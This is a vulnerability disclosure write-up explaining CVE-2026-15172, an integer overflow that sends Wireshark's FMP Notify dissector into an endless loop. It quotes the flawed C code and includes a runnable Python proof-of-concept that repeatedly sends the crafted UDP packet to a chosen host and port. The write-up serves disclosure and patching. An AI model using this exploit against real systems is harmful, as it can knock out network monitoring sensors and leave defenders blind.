[EN] CVE-2026-15172: Integer Overflow in Wireshark's FMP Dissector

The Yokai research team, from Hakai Offensive Security, identified a Denial of Service (DoS) vulnerability in Wireshark/TShark, registered under the identifier CVE-2026-15172.

The vulnerability is caused by an Integer Overflow in the dissector responsible for processing the FMP Notify protocol. Exploitation of this flaw can cause the packet analysis process to terminate unexpectedly, compromising the availability of the tool.

The attacker sends a network packet with a deliberately malformed number. This confuses Wireshark's calculations when determining which piece of information it should read next. The program gets stuck in the same position, repeatedly attempting to read the same data. This creates a loop that consumes processor resources and brings down network monitoring.

Overview

Network protocol parsers are designed to process untrusted data, since the information being interpreted comes directly from received packets. Wireshark's core supports more than 3,000 protocols, many of which use numerical values declared within the packets themselves to control internal operations, such as iterations and data reading.

In the context of the FMP protocol, the packet-fmp_notify.c file is responsible for processing the revokeHandleList procedure, which iterates through a list of identifiers received over the network. During this operation, both the iteration limit and the size of the data blocks to be read are determined by values controlled by the packet content. However, these values are used in arithmetic operations without prior proper bounds checking, creating conditions for an Integer Overflow and compromising the dissector's execution flow.

Vulnerability Analysis

The vulnerability is located in the dissect_handleList() function, which is responsible for processing the list identifiers. More specifically, the flaw occurs in the control of the read index advancement in memory, whose calculation uses values obtained from the network packet without proper validation. This condition allows manipulated values to trigger an Integer Overflow, compromising the read flow control and potentially leading to unexpected dissector behavior.

static int
dissect_handleList(tvbuff_t *tvb, int offset, packet_info *pinfo,
                   proto_tree *tree)
{
    int     numHandles;
    int     listLength;  
    int     i;
    proto_tree *handleListTree;

    numHandles = tvb_get_ntohl(tvb, offset);  
    listLength = 4;

    for (i = 0; i < numHandles; i++) {
        listLength += (4 + tvb_get_ntohl(tvb, offset + listLength)); 
    }
    // ...
}

The code uses a for loop to iterate through the elements of the identifier list. At each iteration, the size of the next block is read directly from the packet and added to 4 to determine the read index advancement.

The problem lies in the listLength variable, which is declared as a signed integer (signed int), allowing it to store negative values. By providing the value 0xFFFFFFFC, interpreted as -4 in a 32-bit signed representation, the advancement operation results in:

4 + (-4) = 0

As a result, the read index remains unchanged, causing the dissector to repeatedly process the same data without advancing to the next position in the packet.

To maximize the impact of the flaw, the field responsible for defining the number of identifiers (numHandles) is set to the maximum value of a 32-bit signed integer (0x7FFFFFFF). As a result, Wireshark attempts to execute the loop more than 2 billion times while remaining at the same read position. This behavior causes a virtually endless loop, drastically increasing CPU consumption and leading to application unavailability.

The stalled read operation alone would not be enough if the loop terminated quickly. This is where the numHandles variable comes into play. By setting this field to the maximum positive integer value (0x7FFFFFFF), Wireshark assumes it needs to iterate billions of times. Since the read position does not advance with each cycle, the application enters a continuous loop that consumes CPU resources.

Exploitation and Impact

To exploit the vulnerability, a specially crafted UDP packet was created for the FMP/NOTIFY protocol, invoking the revokeHandleList procedure and injecting a manipulated value into the field responsible for defining the size of the identifier list.

When processing the packet, the Wireshark dissector performs arithmetic operations using the supplied value, triggering the Integer Overflow. As a result, the analysis engine enters an infinite loop.

The following script was developed as a Proof of Concept (PoC) to demonstrate the exploitation of CVE-2026-15172. Initially, it constructs a UDP packet containing a structured message for the FMP/NOTIFY protocol, invoking the revokeHandleList procedure. The packet includes specific fields to identify the procedure, along with manipulated values in the list length field and the data associated with the identifiers, including the value 0x7FFFFFFF, which is used to trigger the Integer Overflow during packet processing. Finally, the script repeatedly transmits this packet to the IP address and port specified as arguments, using 127.0.0.1:111 as the default values.

#!/usr/bin/env python3
import socket, struct, time, sys

payload = (
    struct.pack('>IIIIII', 0xDEADBEEF, 0, 2, 0x000F49B8, 2, 7) +
    struct.pack('>IIII', 0, 0, 0, 0) +
    struct.pack('>I', 4) + b'AAAA' +
    struct.pack('>II', 1, 0x7FFFFFFF) +
    struct.pack('>I', 0xFFFFFFFC) * 200
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 111

while True:
    sock.sendto(payload, (target, port))
    time.sleep(0.1)

Therefore, whether opening a PCAP file containing the malicious packet or receiving it during a live traffic capture, Wireshark begins processing the FMP/NOTIFY message and triggers the dissector responsible for the revokeHandleList procedure. During this stage, the manipulated values trigger the Integer Overflow in the dissect_handleList() function, causing the read index to be calculated incorrectly and preventing the processing from advancing properly. As a consequence, the dissector enters an infinite loop, causing excessive CPU consumption until the application becomes unresponsive or crashes, resulting in a Denial of Service (DoS) condition.

Impact

The main thread responsible for packet processing begins consuming excessive amounts of CPU, compromising the application's responsiveness. For SOC defense and infrastructure teams, this scenario represents a significant risk, as network sensors that use the Wireshark engine may stop inspecting new packets, creating a blind spot in network monitoring and reducing visibility into potential malicious activities across the network.

Conclusion

The flaw in the FMP Notify dissector enables a denial of service against tools based on the Wireshark engine through the transmission of a single specially crafted network packet. By manipulating the buffer advancement calculation through an Integer Overflow, an attacker can trigger an infinite loop during packet processing, continuously increasing CPU consumption and preventing the application from operating normally, without necessarily causing a segmentation fault.

The impact is not limited to opening malicious PCAP files, as it can also occur during live traffic capture and analysis. Consequently, monitoring tools and network sensors that rely on Wireshark/TShark may have their operations disrupted, compromising packet inspection and creating blind spots in infrastructure visibility. This scenario represents a significant risk for SOC and security operations teams, as the unavailability of these mechanisms can hinder the identification of and response to malicious network activities.

It is recommended that teams using Wireshark or TShark update their installations to a patched version, following the guidance published in the official Wireshark security advisory. It is also important to identify and update all tools, sensors, and monitoring services that use the Wireshark engine, ensuring that no instance remains vulnerable to CVE-2026-15172.

References

• Official GitLab Issue Tracker: Wireshark Work Item #21347 - FMP Notify dissector integer overflow
• Vulnerable Source Code: packet-fmp_notify.c (Lines 160-176)
• Wireshark Display Filter Reference: FMP Protocol Fields and Documentation